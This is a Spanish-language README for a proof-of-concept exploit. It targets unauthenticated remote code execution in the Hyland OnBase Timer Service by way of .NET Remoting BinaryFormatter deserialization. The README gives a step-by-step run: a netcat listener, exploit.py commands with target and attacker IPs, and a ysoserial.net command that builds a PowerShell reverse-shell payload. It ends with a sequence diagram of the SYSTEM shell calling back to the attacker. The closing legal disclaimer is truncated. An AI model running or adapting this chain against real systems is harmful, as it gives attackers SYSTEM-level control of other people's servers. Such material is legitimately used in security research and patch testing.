
Exploit de prueba de concepto para la ejecución remota de código no autenticada en Hyland OnBase Timer Service mediante la deserialización de BinaryFormatter en .NET Remoting, logrando privilegios de SYSTEM.
Este repositorio contiene un exploit de Prueba de Concepto para la vulnerabilidad de ejecución remota de código no autenticada en Hyland OnBase Timer Service mediante deserialización insegura de .NET Remoting BinaryFormatter.
La vulnerabilidad permite a un atacante no autenticado enviar un payload BinaryFormatter manipulado al endpoint del Timer Service y ejecutar código arbitrario como NT AUTHORITY\SYSTEM.
El Timer Service expone un endpoint de .NET Remoting:
http://TARGET:8900/TimerServiceAPI.rem
El servicio acepta objetos BinaryFormatter no autenticados. Al proporcionar una cadena de gadgets maliciosa (ysoserial.net), se produce la ejecución de comandos arbitrarios durante la deserialización.
Instalar dependencia de Python:
pip install requests
Descargar ysoserial.net:
git clone https://github.com/pwntester/ysoserial.net
nc -lvnp 4444
python3 exploit.py 192.168.10.50 --lhost 192.168.1.100 --lport 4444
El script imprime un comando de ysoserial. Ejecútalo en otra terminal (Windows / Mono):
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "powershell ..." -o raw > rev_shell.bin
Presiona ENTER en la terminal del exploit después de generar el payload.
Si es vulnerable → la reverse shell se conecta.
python3 exploit.py 10.10.10.123 --lhost 192.168.5.77 --lport 9001
| Opción | Descripción |
|---|---|
| target | IP o nombre de host objetivo |
| --port | Puerto del Timer Service (por defecto 8900) |
| --endpoint | TimerServiceAPI.rem / TimerServiceEvents.rem |
| --lhost | IP del atacante |
| --lport | Puerto del listener |
| --gadget | Cadena de gadgets de ysoserial |
El exploit es ciego
Éxito = callback de reverse shell
El servicio se ejecuta como SYSTEM
Prueba gadgets alternativos si está bloqueado:
sequenceDiagram
participant A as Atacante
participant Y as ysoserial.net
participant T as Servicio Timer OnBase Objetivo
participant S as Shell SYSTEM
A->>A: Iniciar listener netcat
A->>Y: Generar payload BinaryFormatter
Y-->>A: rev_shell.bin
A->>T: HTTP POST /TimerServiceAPI.rem
T->>T: BinaryFormatter.Deserialize()
T->>S: Ejecutar cadena de gadgets
S-->>A: Conexión reverse shell
Este exploit se proporciona para:
El uso no autorizado contra sistemas que no posees o para los que no tienes permiso de prueba es ilegal.